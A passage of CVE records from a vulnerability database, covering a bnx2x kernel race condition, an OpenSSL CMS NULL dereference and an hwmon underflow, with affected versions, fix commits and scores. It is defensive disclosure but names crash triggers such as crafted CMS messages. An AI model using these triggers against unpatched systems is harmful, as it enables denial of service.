              "lessThan": "d27e2da94a42655861ca4baea30c8cd65546f25d",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.2"
            },
            {
              "lessThan": "4.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/bnx2x: Prevent access to a freed page in page_pool\n\nFix race condition leading to system crash during EEH error handling\n\nDuring EEH error recovery, the bnx2x driver\u0027s transmit timeout logic\ncould cause a race condition when handling reset tasks. The\nbnx2x_tx_timeout() schedules reset tasks via bnx2x_sp_rtnl_task(),\nwhich ultimately leads to bnx2x_nic_unload(). In bnx2x_nic_unload()\nSGEs are freed using bnx2x_free_rx_sge_range(). However, this could\noverlap with the EEH driver\u0027s attempt to reset the device using\nbnx2x_io_slot_reset(), which also tries to free SGEs. This race\ncondition can result in system crashes due to accessing freed memory\nlocations in bnx2x_free_rx_sge()\n\n799  static inline void bnx2x_free_rx_sge(struct bnx2x *bp,\n800\t\t\t\tstruct bnx2x_fastpath *fp, u16 index)\n801  {\n802\tstruct sw_rx_page *sw_buf = \u0026fp-\u003erx_page_ring[index];\n803     struct page *page = sw_buf-\u003epage;\n....\nwhere sw_buf was set to NULL after the call to dma_unmap_page()\nby the preceding thread.\n\n    EEH: Beginning: \u0027slot_reset\u0027\n    PCI 0011:01:00.0#10000: EEH: Invoking bnx2x-\u003eslot_reset()\n    bnx2x: [bnx2x_io_slot_reset:14228(eth1)]IO slot reset initializing...\n    bnx2x 0011:01:00.0: enabling device (0140 -\u003e 0142)\n    bnx2x: [bnx2x_io_slot_reset:14244(eth1)]IO slot reset --\u003e driver unload\n    Kernel attempted to read user page (0) - exploit attempt? (uid: 0)\n    BUG: Kernel NULL pointer dereference on read at 0x00000000\n    Faulting instruction address: 0xc0080000025065fc\n    Oops: Kernel access of bad area, sig: 11 [#1]\n    .....\n    Call Trace:\n    [c000000003c67a20] [c00800000250658c] bnx2x_io_slot_reset+0x204/0x610 [bnx2x] (unreliable)\n    [c000000003c67af0] [c0000000000518a8] eeh_report_reset+0xb8/0xf0\n    [c000000003c67b60] [c000000000052130] eeh_pe_report+0x180/0x550\n    [c000000003c67c70] [c00000000005318c] eeh_handle_normal_event+0x84c/0xa60\n    [c000000003c67d50] [c000000000053a84] eeh_event_handler+0xf4/0x170\n    [c000000003c67da0] [c000000000194c58] kthread+0x1c8/0x1d0\n    [c000000003c67e10] [c00000000000cf64] ret_from_kernel_thread+0x5c/0x64\n\nTo solve this issue, we need to verify page pool allocations before\nfreeing."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:30.893Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7bcc090c81116c66936a7415f2c6b1483a4bcfd9"
        },
        {
          "url": "https://git.kernel.org/stable/c/4f37d3a7e004bbf560c21441ca9c022168017ec4"
        },
        {
          "url": "https://git.kernel.org/stable/c/8eebff95ce9558be66a36aa7cfb43223f3ab4699"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ffcd3ccdbda0c918c4a0f922ef1c17010f1b598"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf7d8cba639ae792a42c2a137b495eac262ac36c"
        },
        {
          "url": "https://git.kernel.org/stable/c/3a9f78b297e08ca8e88ae3ecff1f6fe2766dc5eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/c51f8b6930db3f259b8820b589f2459d2df3fc68"
        },
        {
          "url": "https://git.kernel.org/stable/c/44f9f1abb0ecc43023225ab9539167facbabf0ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/d27e2da94a42655861ca4baea30c8cd65546f25d"
        }
      ],
      "title": "net/bnx2x: Prevent access to a freed page in page_pool",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26859",
    "datePublished": "2024-04-17T10:27:23.709Z",
    "dateReserved": "2024-02-19T14:20:24.183Z",
    "dateUpdated": "2026-05-12T11:49:36.248Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-28390 (GCVE-0-2026-28390)

Vulnerability from cvelistv5 – Published: 2026-04-07 22:00 – Updated: 2026-05-12 12:09

Title

Possible NULL Dereference When Processing CMS KeyTransportRecipientInfo

Summary

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Severity ?

No CVSS data available.

CWE

CWE-476 - NULL Pointer Dereference

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260407.txt	vendor-advisory
https://github.com/openssl/openssl/commit/01194a8…	patch
https://github.com/openssl/openssl/commit/2e39b7a…	patch
https://github.com/openssl/openssl/commit/ea7b4ea…	patch
https://github.com/openssl/openssl/commit/fd2f1a6…	patch
https://github.com/openssl/openssl/commit/af2a5fe…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.2 (semver) Affected: 3.5.0 , < 3.5.6 (semver) Affected: 3.4.0 , < 3.4.5 (semver) Affected: 3.3.0 , < 3.3.7 (semver) Affected: 3.0.0 , < 3.0.20 (semver) Affected: 1.1.1 , < 1.1.1zg (custom) Affected: 1.0.2 , < 1.0.2zp (custom)

Date Public ?

2026-04-07 14:00

Credits

Muhammad Daffa Zhanpeng Liu (Tencent Xuanwu Lab) Guannan Wang (Tencent Xuanwu Lab) Guancheng Li (Tencent Xuanwu Lab) Joshua Rogers (Aisle Research) Chanho Kim Neil Horman

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-28390",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-10T20:24:15.925981Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-10T20:26:06.061Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC CN 4100",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V5.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:09:02.294Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.2",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.6",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.5",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.7",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.20",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1zg",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zp",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Muhammad Daffa"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Zhanpeng Liu (Tencent Xuanwu Lab)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Guannan Wang (Tencent Xuanwu Lab)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Guancheng Li (Tencent Xuanwu Lab)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Joshua Rogers (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Chanho Kim"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Neil Horman"
        }
      ],
      "datePublic": "2026-04-07T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: During processing of a crafted CMS EnvelopedData message\u003cbr\u003ewith KeyTransportRecipientInfo a NULL pointer dereference can happen.\u003cbr\u003e\u003cbr\u003eImpact summary: Applications that process attacker-controlled CMS data may\u003cbr\u003ecrash before authentication or cryptographic operations occur resulting in\u003cbr\u003eDenial of Service.\u003cbr\u003e\u003cbr\u003eWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\u003cbr\u003eRSA-OAEP encryption is processed, the optional parameters field of\u003cbr\u003eRSA-OAEP SourceFunc algorithm identifier is examined without checking\u003cbr\u003efor its presence. This results in a NULL pointer dereference if the field\u003cbr\u003eis missing.\u003cbr\u003e\u003cbr\u003eApplications and services that call CMS_decrypt() on untrusted input\u003cbr\u003e(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\u003cbr\u003eissue, as the affected code is outside the OpenSSL FIPS module boundary."
            }
          ],
          "value": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-15T07:28:22.729Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260407.txt"
        },
        {
          "name": "3.6.2 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc"
        },
        {
          "name": "3.5.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6"
        },
        {
          "name": "3.4.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788"
        },
        {
          "name": "3.3.7 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75"
        },
        {
          "name": "3.0.20 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Possible NULL Dereference When Processing CMS KeyTransportRecipientInfo",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2026-28390",
    "datePublished": "2026-04-07T22:00:54.172Z",
    "dateReserved": "2026-02-27T13:45:02.161Z",
    "dateUpdated": "2026-05-12T12:09:02.294Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46759 (GCVE-0-2024-46759)

Vulnerability from cvelistv5 – Published: 2024-09-18 07:12 – Updated: 2026-05-12 11:57

Title

hwmon: (adc128d818) Fix underflows seen when writing limit attributes

Summary

In the Linux kernel, the following vulnerability has been resolved: hwmon: (adc128d818) Fix underflows seen when writing limit attributes DIV_ROUND_CLOSEST() after kstrtol() results in an underflow if a large negative number such as -9223372036854775808 is provided by the user. Fix it by reordering clamp_val() and DIV_ROUND_CLOSEST() operations.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/05419d0056dcf7088…
https://git.kernel.org/stable/c/7645d783df2387834…
https://git.kernel.org/stable/c/2a3add62f183459a0…
https://git.kernel.org/stable/c/019ef2d396363ecdd…
https://git.kernel.org/stable/c/f7f5101af5b47a331…
https://git.kernel.org/stable/c/6891b11a0c6227ca7…
https://git.kernel.org/stable/c/b0bdb43852bf7f55b…
https://git.kernel.org/stable/c/8cad724c8537fe3e0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < 05419d0056dcf7088687e561bb583cc06deba777 (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < 7645d783df23878342d5d8d22030c3861d2d5426 (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < 2a3add62f183459a057336381ef3a896da01ce38 (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < 019ef2d396363ecddc46e826153a842f8603799b (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < f7f5101af5b47a331cdbfa42ba64c507b47dd1fe (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < 6891b11a0c6227ca7ed15786928a07b1c0e4d4af (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < b0bdb43852bf7f55ba02f0cbf00b4ea7ca897bff (git) Affected: b4c9c1a7987ef07d8345bf9d19f36d97423b6b25 , < 8cad724c8537fe3e0da8004646abc00290adae40 (git)
Linux	Linux	Affected: 3.15 Unaffected: 0 , < 3.15 (semver) Unaffected: 4.19.322 , ≤ 4.19.* (semver) Unaffected: 5.4.284 , ≤ 5.4.* (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.110 , ≤ 6.1.* (semver) Unaffected: 6.6.51 , ≤ 6.6.* (semver) Unaffected: 6.10.10 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46759",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T14:44:21.803153Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T14:44:36.683Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:18:04.629Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:58.350Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hwmon/adc128d818.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "05419d0056dcf7088687e561bb583cc06deba777",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "7645d783df23878342d5d8d22030c3861d2d5426",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "2a3add62f183459a057336381ef3a896da01ce38",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "019ef2d396363ecddc46e826153a842f8603799b",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "f7f5101af5b47a331cdbfa42ba64c507b47dd1fe",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "6891b11a0c6227ca7ed15786928a07b1c0e4d4af",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "b0bdb43852bf7f55ba02f0cbf00b4ea7ca897bff",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            },
            {
              "lessThan": "8cad724c8537fe3e0da8004646abc00290adae40",
              "status": "affected",
              "version": "b4c9c1a7987ef07d8345bf9d19f36d97423b6b25",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hwmon/adc128d818.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.15"
            },
            {
              "lessThan": "3.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.322",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.284",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.322",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.284",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.110",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.51",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.10",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (adc128d818) Fix underflows seen when writing limit attributes\n\nDIV_ROUND_CLOSEST() after kstrtol() results in an underflow if a large\nnegative number such as -9223372036854775808 is provided by the user.\nFix it by reordering clamp_val() and DIV_ROUND_CLOSEST() operations."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:35:48.157Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/05419d0056dcf7088687e561bb583cc06deba777"
        },
        {
          "url": "https://git.kernel.org/stable/c/7645d783df23878342d5d8d22030c3861d2d5426"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a3add62f183459a057336381ef3a896da01ce38"
        },
        {
          "url": "https://git.kernel.org/stable/c/019ef2d396363ecddc46e826153a842f8603799b"
        },
        {
          "url": "https://git.kernel.org/stable/c/f7f5101af5b47a331cdbfa42ba64c507b47dd1fe"
        },
        {
          "url": "https://git.kernel.org/stable/c/6891b11a0c6227ca7ed15786928a07b1c0e4d4af"
        },
        {
          "url": "https://git.kernel.org/stable/c/b0bdb43852bf7f55ba02f0cbf00b4ea7ca897bff"
        },
        {
          "url": "https://git.kernel.org/stable/c/8cad724c8537fe3e0da8004646abc00290adae40"
        }
      ],
      "title": "hwmon: (adc128d818) Fix underflows seen when writing limit attributes",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46759",
    "datePublished": "2024-09-18T07:12:18.920Z",
    "dateReserved": "2024-09-11T15:12:18.271Z",
    "dateUpdated": "2026-05-12T11:57:58.350Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35936 (GCVE-0-2024-35936)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:53

Title

btrfs: handle chunk tree lookup error in btrfs_relocate_sys_chunks()

